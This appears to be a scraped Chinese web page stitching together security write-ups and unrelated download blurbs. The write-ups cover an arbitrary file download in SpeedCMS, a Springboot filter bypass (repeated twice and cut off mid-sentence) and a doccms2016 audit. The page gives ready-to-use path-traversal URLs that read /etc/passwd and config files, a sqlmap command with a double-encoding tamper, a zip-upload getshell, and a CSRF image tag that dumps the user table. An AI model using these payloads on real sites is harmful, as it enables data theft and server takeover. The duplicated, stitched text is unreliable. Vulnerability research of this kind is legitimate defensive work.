精华内容
下载资源
问答
  • SpeedCMS任意文件下载读取漏洞

    千次阅读 2012-08-31 17:28:18
    作者:90sex 90sec《www.90sec.org》 ... ...关键字:inurl:article/file/cid http://admin163.net/article/file/cid/ ... ../../../etc/passwd 数据库下载地址:?file=../../../..

    作者:90sex

    90sec《www.90sec.org》

    163微论坛《www.admin163.net》

    关键字:inurl:article/file/cid

    http://admin163.net/article/file/cid/ ... ../../../etc/passwd



    数据库下载地址:?file=../../../../application/config/config.ini.php

    展开全文
  • 挖掘过程一般来说,在文件下载/查看功能处,当文件名参数可控,且系统未对参数进行过滤或者过滤不全时,就可以实现下载服务器上的任何文件,产生任意文件下载漏洞。一般可以通过相关的业务关键字(例如download、...
    5c00eb3ab3e1e248cbcf47cee94105cf.gif点击上方“蓝字”关注我们吧!cc63d6ed02c7c94ecd8a13ac433a9939.gif挖掘过程一般来说,在文件下载/查看功能处,当文件名参数可控,且系统未对参数进行过滤或者过滤不全时,就可以实现下载服务器上的任何文件,产生任意文件下载漏洞。
    一般可以通过相关的业务关键字(例如download、filename等)或者相关的操作类(例如InputStream、File等)快速定位相关的模块进行审计挖掘。
    前段时间审计某项目时发现一处任意文件下载的绕过。系统基于Springboot进行开发,首先是发现任意文件下载接口:
    @Value("${CERTIFICATE.PATH}")private String uploadPath;@GetMapping("/downloadFile.do")public void uploadFileDownload(HttpServletResponse response,String fileName) throws IOException {  ServletOutputStream outputStream =response.getOutputStream();  String contentType ="application/octet-stream";  response.setContentType(contentType);  String filePath = uploadPath+fileName;  System.out.println(filePath);  outputStream.write(FileUtils.readFileToByteArray(filePath));  outputStream.flush();  outputStream.close();}
    相关的接口是下载用户上传的凭证材料的,整个下载过程从配置文件中获取uploadPath,然后与用户输入的fileName进行拼接,最后调用工具类FileUtils的readFileToByteArray()方法进行下载。
    查看工具类readFileToByteArray()方法的具体实现:
    public static byte[] readFileToByteArray(String path) {  StringBuffer buf = new StringBuffer();  try {    File file = new File(path);    BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "utf-8"));    String row;    while ((row = br.readLine()) != null) {      buf.append(row);    }  } catch (IOException e) {    e.printStackTrace();  }  if (buf.length() == 0) {    buf.append("");  }  return buf.toString().getBytes();}

    可以看到相关的工具类方法直接将传入的地址进行文件内容读取,封装后进行返回,整个文件下载的过程是没有过滤掉"./"、"…/"、"/"等特殊字符,防止用户进行目录回溯的,同时也没有限制下载目录。初步判断是存在任意文件下载风险的。

    这里尝试去测试环境访问对应的下载接口进行复现,发现失败了:

    fd6dfe3cfbc4e0b6d6ba5dc12e3284fb.png

    回去查看源代码,发现有一个安全过滤器SecurityFilter,里面针对相关的敏感字符进行了过滤处理。上述任意文件下载接口无法利用很大原因是过滤器Filter的防护导致的,下面来看看能不能绕过过滤器进行利用。cc63d6ed02c7c94ecd8a13ac433a9939.gif绕过分析
    一般来说审计过滤器缺陷主要分以下几个点:
    • 获取数据的方式是否覆盖全面

    • 过滤的规则内容

    • 过滤器的顺序

    首先是定位过滤器了,这里是通过注解的方式进行过滤器注册的:
    @WebFilter(filterName = "SecurityFilter", urlPatterns = "/*" )public class SecurityFilter implements Filter {  FilterConfig filterConfig = null;  @Override  public void destroy() {    this.filterConfig = null;  }  @Override  public void doFilter(ServletRequest request, ServletResponse response,      FilterChain chain) throws IOException, ServletException {    chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request), response);  }  @Override  public void init(FilterConfig filterConfig) throws ServletException {    this.filterConfig = filterConfig;  }}

    具体实现是通过HttpServletRequestWrapper来获取request的内容,然后通过重写getParameterValues()、getParameter()方法进行处理的。

    public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {  public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {    super(servletRequest);  }  @Override  public String[] getParameterValues(String parameter) {    String[] values = super.getParameterValues(parameter);    if (values == null) {      return null;    }    int count = values.length;    String[] encodedValues = new String[count];    for (int i = 0; i < count; i++) {      System.out.println("before:"+values[i]);      encodedValues[i] = JsoupUtil.clean(cleanAnyFileRead((String) values[i]));      System.out.println("after:"+encodedValues[i]);    }    return encodedValues;  }
    这里存在第一种绕过方式,因为对于multipart/form-data这种数据类型上述过滤器明显也是无法获取request提交内容的,那么可以尝试转换multipart的方式进行提交,尝试绕过相关的过滤器:

    62b9e5be5ccc6c880810e7d44aa46853.png

    比较可惜的是,这里对任意文件下载接口并不适用,因为其是用@GetMapping("/downloadFile.do")进行注解的,限制了请求方法为GET。获取数据的方式虽然不全面,但是仅针对/downloadFile.do接口来说的话是足够的了,那么继续往下看相关的过滤规则是否存在缺陷。

    这里存在两层过滤,一层是通过cleanAnyFileRead()过滤任意文件上传的敏感输入的,第二层是调用工具类JsoupUtil.clean()方法进行XSS输入过滤。

    @Overridepublic String getParameter(String parameter) {  String value = super.getParameter(parameter);  if (value == null) {    return null;  }  return JsoupUtil.clean(cleanAnyFileRead((String) value));}

    首先看任意文件下载的过滤,这里是简单的使用正则进行过滤,出现一次或者多次的.且以/结尾的内容都进行过滤,例如…/、./等,这也就解释了为什么前面测试时输入…/…/…/etc/passwd失败了,过滤后返回的内容为/etc/passwd,拼接uploadPath后不存在相关的文件,路径穿越失败:

    private static String cleanAnyFileRead(String value) {  value = value.replaceAll("\\.+/", "");  return value;}

    继续往下看xss的过滤,JsoupUtil.clean()方法的具体实现如下:

    public class JsoupUtil {    /**     * 配置白名单为基本使用的标签再加上img标签     */    private static final Whitelist WHITELIST = Whitelist.basicWithImages();    /**     * 配置过滤的参数,不对代码格式化     */    private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);    static {        //富文本编辑时一些样式是使用style来进行实现的 比如红色字体 style="color:red;" 所以需要给所有标签添加style属性        WHITELIST.addAttributes(":all","style");    }    public static String clean(String content){        return Jsoup.clean(content,"",WHITELIST,OUTPUT_SETTINGS);    }}

    比较简单粗暴,直接使用jsoup组件进行了过滤。这里简单介绍下jsoup的api:使用Jsoup的clean方法进行清除HTML标签操作,该方法会清除在你所指定的白名单whitelist中的所有HTML标签。默认的Jsoup提供了5种Whitelist的API

    • none()
      该API会清除所有HTML标签,仅保留文本节点。
    • impleTest()
      该API仅会保留b, em, i, strong, u 标签,除此之外的所有HTML标签都会被清除。
    • basic()
      该API会保留 a, b, blockquote, br, cite, code, dd, dl, dt, em, i, li, ol, p, pre, q, small, span, strike, strong, sub, sup, u, ul 和其适当的属性标签,除此之外的所有HTML标签都会被清除,且该API不允许出现图片(img tag)。另外该API中允许出现的超链接中可以允许其指定http, https, ftp, mailto 且在超链接中强制追加rel=nofollow属性。
    • basicWithImages()
      该API在保留basic()中允许出现的标签的同时也允许出现图片(img tag)和img的相关适当属性,且其src允许其指定 http 或 https。
    • relaxed()
      该API仅会保留 a, b, blockquote, br, caption, cite, code, col, colgroup, dd, div, dl, dt, em, h1, h2, h3, h4, h5, h6, i, img, li, ol, p, pre, q, small, span, strike, strong, sub, sup, table, tbody, td, tfoot, th, thead, tr, u, ul 标签,除此之外的所有HTML标签都会被清除,且在超链接中不会强制追加rel=nofollow属性。
    • clean()
      此外Jsoup的Whitelist提供了addTags方法,利用该方法可以对whitelist进行自定义扩展:
    public Whitelist addTags(String... tags)

    所以JsoupUtil.clean()方法的效果应该是输入

    展开全文
  • 挖掘过程一般来说,在文件下载/查看功能处,当文件名参数可控,且系统未对参数进行过滤或者过滤不全时,就可以实现下载服务器上的任何文件,产生任意文件下载漏洞。一般可以通过相关的业务关键字(例如download、...
    8e10f258e5247fd3da28fb6b4bc418e2.gif点击上方“蓝字”关注我们吧!b05f4a470183417dcd8ce1d2b4a7f6a7.gif挖掘过程一般来说,在文件下载/查看功能处,当文件名参数可控,且系统未对参数进行过滤或者过滤不全时,就可以实现下载服务器上的任何文件,产生任意文件下载漏洞。
    一般可以通过相关的业务关键字(例如download、filename等)或者相关的操作类(例如InputStream、File等)快速定位相关的模块进行审计挖掘。
    前段时间审计某项目时发现一处任意文件下载的绕过。系统基于Springboot进行开发,首先是发现任意文件下载接口:
    @Value("${CERTIFICATE.PATH}")private String uploadPath;@GetMapping("/downloadFile.do")public void uploadFileDownload(HttpServletResponse response,String fileName) throws IOException {  ServletOutputStream outputStream =response.getOutputStream();  String contentType ="application/octet-stream";  response.setContentType(contentType);  String filePath = uploadPath+fileName;  System.out.println(filePath);  outputStream.write(FileUtils.readFileToByteArray(filePath));  outputStream.flush();  outputStream.close();}
    相关的接口是下载用户上传的凭证材料的,整个下载过程从配置文件中获取uploadPath,然后与用户输入的fileName进行拼接,最后调用工具类FileUtils的readFileToByteArray()方法进行下载。
    查看工具类readFileToByteArray()方法的具体实现:
    public static byte[] readFileToByteArray(String path) {  StringBuffer buf = new StringBuffer();  try {    File file = new File(path);    BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "utf-8"));    String row;    while ((row = br.readLine()) != null) {      buf.append(row);    }  } catch (IOException e) {    e.printStackTrace();  }  if (buf.length() == 0) {    buf.append("");  }  return buf.toString().getBytes();}

    可以看到相关的工具类方法直接将传入的地址进行文件内容读取,封装后进行返回,整个文件下载的过程是没有过滤掉"./"、"…/"、"/"等特殊字符,防止用户进行目录回溯的,同时也没有限制下载目录。初步判断是存在任意文件下载风险的。

    这里尝试去测试环境访问对应的下载接口进行复现,发现失败了:

    b17909967c0a19437f46f0c3bfcce746.png

    回去查看源代码,发现有一个安全过滤器SecurityFilter,里面针对相关的敏感字符进行了过滤处理。上述任意文件下载接口无法利用很大原因是过滤器Filter的防护导致的,下面来看看能不能绕过过滤器进行利用。b05f4a470183417dcd8ce1d2b4a7f6a7.gif绕过分析
    一般来说审计过滤器缺陷主要分以下几个点:
    • 获取数据的方式是否覆盖全面

    • 过滤的规则内容

    • 过滤器的顺序

    首先是定位过滤器了,这里是通过注解的方式进行过滤器注册的:
    @WebFilter(filterName = "SecurityFilter", urlPatterns = "/*" )public class SecurityFilter implements Filter {  FilterConfig filterConfig = null;  @Override  public void destroy() {    this.filterConfig = null;  }  @Override  public void doFilter(ServletRequest request, ServletResponse response,      FilterChain chain) throws IOException, ServletException {    chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request), response);  }  @Override  public void init(FilterConfig filterConfig) throws ServletException {    this.filterConfig = filterConfig;  }}

    具体实现是通过HttpServletRequestWrapper来获取request的内容,然后通过重写getParameterValues()、getParameter()方法进行处理的。

    public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {  public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {    super(servletRequest);  }  @Override  public String[] getParameterValues(String parameter) {    String[] values = super.getParameterValues(parameter);    if (values == null) {      return null;    }    int count = values.length;    String[] encodedValues = new String[count];    for (int i = 0; i < count; i++) {      System.out.println("before:"+values[i]);      encodedValues[i] = JsoupUtil.clean(cleanAnyFileRead((String) values[i]));      System.out.println("after:"+encodedValues[i]);    }    return encodedValues;  }
    这里存在第一种绕过方式,因为对于multipart/form-data这种数据类型上述过滤器明显也是无法获取request提交内容的,那么可以尝试转换multipart的方式进行提交,尝试绕过相关的过滤器:

    113e10aa87378fc5b0ca1840d45a7ed1.png

    比较可惜的是,这里对任意文件下载接口并不适用,因为其是用@GetMapping("/downloadFile.do")进行注解的,限制了请求方法为GET。获取数据的方式虽然不全面,但是仅针对/downloadFile.do接口来说的话是足够的了,那么继续往下看相关的过滤规则是否存在缺陷。

    这里存在两层过滤,一层是通过cleanAnyFileRead()过滤任意文件上传的敏感输入的,第二层是调用工具类JsoupUtil.clean()方法进行XSS输入过滤。

    @Overridepublic String getParameter(String parameter) {  String value = super.getParameter(parameter);  if (value == null) {    return null;  }  return JsoupUtil.clean(cleanAnyFileRead((String) value));}

    首先看任意文件下载的过滤,这里是简单的使用正则进行过滤,出现一次或者多次的.且以/结尾的内容都进行过滤,例如…/、./等,这也就解释了为什么前面测试时输入…/…/…/etc/passwd失败了,过滤后返回的内容为/etc/passwd,拼接uploadPath后不存在相关的文件,路径穿越失败:

    private static String cleanAnyFileRead(String value) {  value = value.replaceAll("\\.+/", "");  return value;}

    继续往下看xss的过滤,JsoupUtil.clean()方法的具体实现如下:

    public class JsoupUtil {    /**     * 配置白名单为基本使用的标签再加上img标签     */    private static final Whitelist WHITELIST = Whitelist.basicWithImages();    /**     * 配置过滤的参数,不对代码格式化     */    private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);    static {        //富文本编辑时一些样式是使用style来进行实现的 比如红色字体 style="color:red;" 所以需要给所有标签添加style属性        WHITELIST.addAttributes(":all","style");    }    public static String clean(String content){        return Jsoup.clean(content,"",WHITELIST,OUTPUT_SETTINGS);    }}

    比较简单粗暴,直接使用jsoup组件进行了过滤。这里简单介绍下jsoup的api:使用Jsoup的clean方法进行清除HTML标签操作,该方法会清除在你所指定的白名单whitelist中的所有HTML标签。默认的Jsoup提供了5种Whitelist的API

    • none()
      该API会清除所有HTML标签,仅保留文本节点。
    • impleTest()
      该API仅会保留b, em, i, strong, u 标签,除此之外的所有HTML标签都会被清除。
    • basic()
      该API会保留 a, b, blockquote, br, cite, code, dd, dl, dt, em, i, li, ol, p, pre, q, small, span, strike, strong, sub, sup, u, ul 和其适当的属性标签,除此之外的所有HTML标签都会被清除,且该API不允许出现图片(img tag)。另外该API中允许出现的超链接中可以允许其指定http, https, ftp, mailto 且在超链接中强制追加rel=nofollow属性。
    • basicWithImages()
      该API在保留basic()中允许出现的标签的同时也允许出现图片(img tag)和img的相关适当属性,且其src允许其指定 http 或 https。
    • relaxed()
      该API仅会保留 a, b, blockquote, br, caption, cite, code, col, colgroup, dd, div, dl, dt, em, h1, h2, h3, h4, h5, h6, i, img, li, ol, p, pre, q, small, span, strike, strong, sub, sup, table, tbody, td, tfoot, th, thead, tr, u, ul 标签,除此之外的所有HTML标签都会被清除,且在超链接中不会强制追加rel=nofollow属性。
    • clean()
      此外Jsoup的Whitelist提供了addTags方法,利用该方法可以对whitelist进行自定义扩展:
    public Whitelist addTags(String... tags)

    所以JsoupUtil.clean()方法的效果应该是输入

    展开全文
  • 后台任意文件下载5.总结 doccms2016代码审计及漏洞复现 1.sql注入 在/content/search/index.php中,首先对参数keyword进行非法字符检测 <?php //首页搜索,站内关键字搜索 function index() ...

    doccms2016代码审计及漏洞复现

    1.sql注入

    在/content/search/index.php中,首先对参数keyword进行非法字符检测

    <?php
    //首页搜索,站内关键字搜索
    function index()
    {
    	global $db;
    	global $request;
    	global $params;
    	global $tag;	// 标签数组
    
    	!checkSqlStr($request['keyword'])? $request['keyword'] = $request['keyword'] : exit('非法字符');
    	$keyword = urldecode($request['keyword']);
    	
    
    function checkSqlStr($string)
    {
    	$string = strtolower($string);
    	return preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|_user/i', $string);
    }
    

    发现没有在过滤函数中进行解码,所以我们可以直接两次url编码进行绕过,

    sqlmap.py -u "http://192.168.164.138:89/search/?keyword=123" --tamper=chardoubleencode
    

    2.后台getshell

    在后台模板上传处,检查文件是否为压缩包格式(检查是否解压成功),之后直接对压缩包进行解压,可以上传文件

    admini\controllers\system\managemodel.php

    function upload_model()
    {
    	//把模版先暂时上传在系统根目录的TEMP文件夹里,解决safe_mode On时无法上传在环境文件夹下
    	//suny.2008.01.16
    	$upload = new Upload(10000,'/temp/');
    	$fileName = $upload->SaveFile('upfile');
    	if(is_file(ABSPATH.'/temp/'.$fileName))
    	{
    		del_dir(ABSPATH.UPLOADPATH.'temp/');
    		mkdirs(ABSPATH.UPLOADPATH.'temp/');
    		if(unzip(ABSPATH.UPLOADPATH.'temp/',ABSPATH.'/temp/'.$fileName,ABSPATH.'/temp/'.$fileName)==1)
    		{
    			$doc = get_config_xmldoc('config');
    			exec_config($doc);
    			$doc = get_config_xmldoc('install');
    			exec_install($doc);
    	
    			redirect('?m=system&s=managemodel');
    		}
    	}
    }
    
    	function SaveFile($fileField,$isArry=false,$i=0)
    	{
    		if($isArry)
    		{
    			//检查上传文件
    			if($_FILES[$fileField]['error'][$i] > 0)
    			{
    				switch((int)$_FILES[$fileField]['error'][$i]){
    					case UPLOAD_ERR_NO_FILE:
    						$this->errorMsg .="请选择有效的上传文件!";
    						break;
    					case UPLOAD_ERR_FORM_SIZE:
    						$this->errorMsg .="您上传的文件总大小超出了最大限制:".$this->allowSize."KB\"')";
    						break;
    				}
    				return NULL;
    			}
    			preg_match("/\.([a-zA-Z0-9]{2,4})$/",$_FILES[$fileField]['name'][$i],$exts);
    			//检查上传文件的扩展名
    			if($this->checkValidExt($exts[1]))
    			{
    				$this->errorMsg.="提示:\n\n请选择一个有效的文件,\n支持的格式有:".$this->AllowExt;
    				return NULL;
    			}
    			$this->saveFileName = $this->getRndFileName(strtolower($exts[1]));
    			$sFileName = $this->getDateDir().$this->saveFileName;
    	
    			if(!move_uploaded_file($_FILES[$fileField]['tmp_name'][$i],$this->uploadDir.$sFileName))
    			{
    				$this->errorMsg.='文件上传系统操作错误。';
    				return NULL;
    			}
    			else
    			{
    				return $sFileName;
    			}
    		}
    		else
    		{
    			//检查上传文件
    			if($_FILES[$fileField]['error'] > 0)
    			{
    				switch((int)$_FILES[$fileField]['error']){
    					case UPLOAD_ERR_NO_FILE:
    						$this->errorMsg .="请选择有效的上传文件!";
    						break;
    					case UPLOAD_ERR_FORM_SIZE:
    						$this->errorMsg .="您上传的文件总大小超出了最大限制:".$this->allowSize."KB\"')";
    						break;
    				}
    				return NULL;
    			}
    			preg_match("/\.([a-zA-Z0-9]{2,4})$/",$_FILES[$fileField]['name'],$exts);
    			//检查上传文件的扩展名
    			if($this->checkValidExt($exts[1]))
    			{
    				$this->errorMsg.="提示:\n\n请选择一个有效的文件,\n支持的格式有:".$this->AllowExt;
    				return NULL;
    			}
    			$this->saveFileName = $this->getRndFileName(strtolower($exts[1]));
    			$sFileName = $this->getDateDir().$this->saveFileName;
    	
    			if(!move_uploaded_file($_FILES[$fileField]['tmp_name'],$this->uploadDir.$sFileName))
    			{
    				$this->errorMsg.='文件上传系统操作错误。';
    				return NULL;
    			}
    			else
    			{
    				return $sFileName;
    			}
    		}
    	}
    

    直接解压文件,没有进行任何检测

    3.留言处存储xss

    content\guestbook\index.php

    function create()
    {
    	echo 123;
    	global $db,$request;
    	if ($_SESSION['verifycode'] != $request['checkcode'])
    	{
    		echo '<script>alert("请正确填写验证码!");location.href="javascript:history.go(-1)";</script>';
    		exit;
    	}
    	
    	foreach ($request as $k=>$v)
    	{
    		$request[$k]=RemoveXSS($v);
    	}
    	
    	require(ABSPATH.'/admini/models/guestbook.php');
    	$guestbook = new guestbook();
    	$guestbook->addnew($request);
    	$guestbook->custom=@implode('<|@|>',$request['custom']);
    	$guestbook->dtTime=date('Y-m-d H:i:s');
    	$guestbook->channelId=$request['p'];
    	$guestbook->ip=$_SERVER['REMOTE_ADDR'];
    	$guestbook->uid=$_SESSION[TB_PREFIX.'user_ID'];
    
    	if($guestbook->save())
    	{
    		if(guestbookISON)
    		{
    			sys_mail(' 留言提醒','最新留言提醒:您的网站:<a href="http://'.WEBURL.'">'.WEBURL.'</a> 有最新留言,请及时前往审核回复!');
    		}
    		echo '<script>alert("恭喜,您的留言已提交成功,工作人员会及时回复!");window.location.href="'.sys_href($request['p']).'";</script>';
    		exit;
    	}
    	else
    	{
    		echo '<script>alert("对不起,系统错误,您的留言未能及时提交,请电话与我们联系。");window.location.href="'.sys_href($request['p']).'";</script>';
    		exit;
    	}
    }
    
    function RemoveXSS($val) { 
        // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed 
        // this prevents some character re-spacing such as <java\0script> 
        // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some          // inputs 
        $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); 
        
        // straight replacements, the user should never need these since they're normal characters 
        // this prevents like <IMG SRC=@avascript:alert('XSS')> 
        $search = 'abcdefghijklmnopqrstuvwxyz'; 
        $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
        $search .= '1234567890!@#$%^&*()'; 
        $search .= '~`";:?+/={}[]-_|\'\\'; 
        for ($i = 0; $i < strlen($search); $i++) { 
            // ;? matches the ;, which is optional 
            // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars 
    
            // @ @ search for the hex values 
            $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);//with a ; 
            // @ @ 0{0,7} matches '0' zero to seven times 
            $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; 
        } 
    
        // now the only remaining whitespace attacks are \t, \n, and \r 
        $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 
        $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); 
        $ra = array_merge($ra1, $ra2); 
       
        $found = true; // keep replacing as long as the previous round replaced something 
        while ($found == true) { 
            $val_before = $val; 
            for ($i = 0; $i < sizeof($ra); $i++) { 
                $pattern = '/'; 
                for ($j = 0; $j < strlen($ra[$i]); $j++) { 
                    if ($j > 0) { 
                        $pattern .= '('; 
                        $pattern .= '(&#[xX]0{0,8}([9ab]);)'; 
                        $pattern .= '|'; 
                        $pattern .= '|(&#0{0,8}([9|10|13]);)'; 
                        $pattern .= ')*'; 
                    } 
                    $pattern .= $ra[$i][$j]; 
                } 
                $pattern .= '/i'; 
                $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag 
                $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags 
                if ($val_before == $val) { 
                    // no replacements were made, so exit the loop 
                    $found = false; 
                } 
            } 
        } 
        return $val; 
    }
    

    找到了大佬的脚本,可以用来备份数据库的user表

    <H2> CRSFTester</H2>
    <img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=开始备份数据" width="0" height="0" border="0"/>
    

    4.后台任意文件下载

    \doccms\admini\controllers\system\back.php

    function download()
    {
    	global $request;
    	if(!empty($request['filename']))
    	{
    		file_down(ABSPATH.'/temp/data/'.$request['filename']);
    	}
    	else
    	{
    		 echo '<script>alert("文件名不能为空!");window.history.go(-1);</script>';
    	}
    }
    function file_down($file,$filename='')
    {
    	if(is_file($file))
    	{
    		$filename = $filename ? $filename : basename($file);
    		$filetype = fileext($filename);
    		$filesize = filesize($file);
    		header('Cache-control: max-age=31536000');
    		header('Expires: '.gmdate('D, d M Y H:i:s', time() + 31536000).' GMT');
    		header('Content-Encoding: none');
    		//header('Content-Length: '.$filesize);
    		header('Content-Disposition: attachment; filename='.$filename);
    		header('Content-Type: '.$filetype);
    		readfile($file);
    	}
    	else
    	{
    		echo '<script>alert("文件不存在!");window.history.go(-1);</script>';
    	}
    	exit;
    }
    

    没有对文件名进行过滤,直接修改目录即可进行文件下载

    http://127.0.0.1/admini/index.php?m=system&s=bakup&a=download&filename=../../config/doc-config-cn.php
    

    5.总结

    sql注入可以直接获取管理员名和密码的hash,但是密码的hash是已经是经过自定义函数加密的,我们就只能对密码进行爆破来获得管理员密码,结合后台模板处文件上传即可getshell

    加密函数

    <?php 
    class docEncryption
    {
    	var $enstr = null;
    	function docEncryption($str)
    	{
    		$this->enstr = $str;
    	}
    	function get_shal()
    	{
    		return sha1($this->enstr);
    	}
    	function get_md5()
    	{
    		return md5($this->enstr);
    	}
    	function get_jxqy3()
    	{
    		$tmpMS = $this->get_shal().$this->get_md5();
    		$tmpNewStr = substr($tmpMS,0,9).'s'.substr($tmpMS,10,9).'h'.substr($tmpMS,20,9).'l'.substr($tmpMS,30,9).'s'.substr($tmpMS,40,9).'u'.substr($tmpMS,50,9).'n'.substr
    ($tmpMS,60,9).'y'.substr($tmpMS,70,2);
    		$tmpNewStr = substr($tmpNewStr,-36).substr($tmpNewStr,0,36);
    		$tmpNewStr = substr($tmpNewStr,0,70);
    		$tmpNewStr = substr($tmpNewStr,0,14).'j'.substr($tmpNewStr,14,14).'x'.substr($tmpNewStr,28,14).'q'.substr($tmpNewStr,32,14).'y'.substr($tmpNewStr,56,14).'3';
    		return $tmpNewStr;
    	}
    	function to_string()
    	{
    		$tmpstr = $this->get_jxqy3();
    		$tmpstr = substr($tmpstr,-35).substr($tmpstr,0,40);
    		return $tmpstr;
    	}
    }
    
    展开全文
  • 漏洞说明:easySNS极简社区1.6版存在任意远程文件本地化漏洞,在进行远程文件下载的过程中没有进行黑名单校验,导致可以下载任意远程文件进行本地化。 代码审计过程: 根据漏洞可能触发的函数名,全局搜索...
  • 优化特点: ·C#+ASP.NET构造: 最科学的语言设计,100年不过时的语言基础微软官司网推荐评议 ·后台功能管理强大: 强大的后台管理功能,傻瓜式的管理...·站内关键字,可将新闻内的关键字替换为链接 ·····
  • 1.1.7 MySQL的数据如何恢复到任意时间点? 1.1.8 NFS 和 SMB 是最常见的两种 NAS(Network Attached Storage)协议,当把一个文件系统同时通过 NFS 和 SMB 协议共享给多个主机访问时,以下哪些说法是错误的 1.1.9...
  • 游戏发布站源码

    2018-09-22 19:09:39
    版本功能强大,无任何漏洞,无任何限制.修改QQ以及网站地址就可以直接用(修正搜索引擎优化,若干BUG) 【详细功能】 1、私服分套红固顶,套黄推荐,以及私服分类支持; 2、首页分套红固顶、套黄推荐、今天开放、即将...
  • 版本功能强大,无任何漏洞,无任何限制.修改QQ以及网站地址就可以直接用(修正搜索引擎优化,若干BUG) 【详细功能】 1、私服分套红固顶,套黄推荐,以及私服分类支持; 2、首页分套红固顶、套黄推荐、今天开放、...
  • 此程序为网友在官方购买版本,其修复了以下漏洞: 1.去除带有后门图片 2.去除官方木马后门 3.后台安全修复 4.增加广告位 5.去除多余统计代码 6.首页增加欢迎语 7.后台增加退出按钮 8.增加便民电话收费信息 9.增加IP...
  • 【修复】百度编辑器上传漏洞。 【增加】栏目自由字段,由之前的5个字段增加到10个字段,多方位满足大家的需求。 【调整】用户/管理员登录时,密码加密后提交。 【开放】表单内容页。使用表单时,也可以在前台调用...
  • 【修复】百度编辑器上传漏洞。 【增加】栏目自由字段,由之前的5个字段增加到10个字段,多方位满足大家的需求。 【调整】用户/管理员登录时,密码加密后提交。 【开放】表单内容页。使用表单时,也可以在前台调用...
  • WordPress 精约新闻自媒体主题 MNews,完美去域名授权,无后门漏洞无广告。 MNews主题 精约新闻自媒体主题 MNews 是由萨龙龙所开发的一款WordPress网站程序自媒体主题模板,规划上精约、干净、精美、呼应式,功用上...
  • 1、下载PHPYun提供的zip压缩包 解压 /upload 文件夹内容到网站目录下 2、第一次访问PHPYun人才系统,会自动提示安装数据库到你的mysql中 3、安装完成后再次访问即可正常浏览PHPYun系统或后台 4、安装文件在 /...
  • 文章管理系统

    2014-12-06 10:19:22
    1.[*修复]修复后台某文件出现任意下载漏洞【感谢乌云[haitaowuyun]发现】 2.[*修复]修复前台存在的SQL注入风险漏洞【感谢乌云[语邑尘]发现】 3.[*修复]修复前台存在的xss跨站脚本攻击漏洞【感谢乌云[evil]发现】 4....
  • 解决nginx 0day漏洞! DebianLNMP特点:1. 独特的DebianLNMP安全增强设置。2. 新软件库基于http://www.dotdeb.org/可保持同步更新。3. Nginx MySQL PHP 全部升级到最新稳定版本。4. 快捷的安装脚本,快速安装开源...
  • php网络开发完全手册

    热门讨论 2009-03-02 13:17:26
    2.3 运算符和关键字 29 2.4 流程控制语法 30 2.4.1 程序控制语句的简介 30 2.4.2 条件控制语句 30 2.4.3 循环控制语句 33 2.4.4 转移控制语句 35 2.5 表达式 36 2.5.1 简单的表达式例子 36 2.5.2 表达式的分类 36 ...
  • 模板制作也非常方便,用户可以发布自己制作的模板,也可以下载安装他人分享的模板。 不需写任何一行代码,可以使用自己熟悉的工具,如Frontpage、Dreamwaver等来制作模板。用户完全可以自行设计模板,从而更好的...
  • 它允许Chrome应用读写硬盘中用户选择的任意位置,而HTML5本身提供的文件系统接口则只能在沙箱中读写文件,并不能获取用户磁盘中真正的目录。 </li><li> 其他,一些潜在的会引起漏洞的操作,...
  • 实例136 查询工资高于质量部任意一名员工的员工信息 实例137 应用UNION谓词消除重复的行 实例138 应用UNION ALL谓词保留重复行 实例139 查询各商品销售额所占的百分比 第6章 数据库高级应用 6.1 在JavaWeb程序中调用...
